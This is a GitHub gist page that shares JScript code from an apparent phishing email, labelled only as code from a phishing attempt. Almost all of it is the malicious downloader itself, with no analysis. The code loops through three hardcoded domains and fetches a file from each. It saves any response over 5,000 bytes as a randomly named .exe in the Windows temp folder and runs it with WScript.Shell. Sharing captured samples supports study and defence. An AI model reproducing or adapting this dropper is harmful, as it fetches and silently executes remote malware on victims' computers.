/email_phish_2.js Secret
Last active
June 10, 2018 17:07
Code taken from attempted phishing attempt, part two
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function dl(fr) { | |
var b = "amperspective.com masksoftheworld.com www.book-keepers-now.com".split(" "); | |
for (var i=0;i<b.length; i++) { | |
var ws = new ActiveXObject("WScript.Shell"); | |
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+Math.round(Math.random()*100000000)+".exe"; | |
var dn = 0; var xo = new ActiveXObject("MSXML2.XMLHTTP"); | |
xo.onreadystatechange = function() { | |
if (xo.readyState == 4 && xo.status == 200) { | |
var xa = new ActiveXObject("ADODB.Stream"); | |
xa.open(); xa.type = 1; | |
xa.write(xo.ResponseBody); | |
if (xa.size > 5000) { | |
dn = 1; xa.position = 0; | |
xa.saveToFile(fn,2); | |
try { | |
ws.Run(fn,1,0); | |
} catch (er) {}; | |
}; xa.close(); | |
}; | |
}; | |
try { | |
xo.open("GET","http://"+b[i]+"/document.php?rnd="+fr+"&id="+www, false); | |
xo.send(); | |
} catch (er) {}; | |
if (dn == 1) break; | |
} | |
}; | |
dl(5491); | |
dl(8482); | |
dl(2473); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment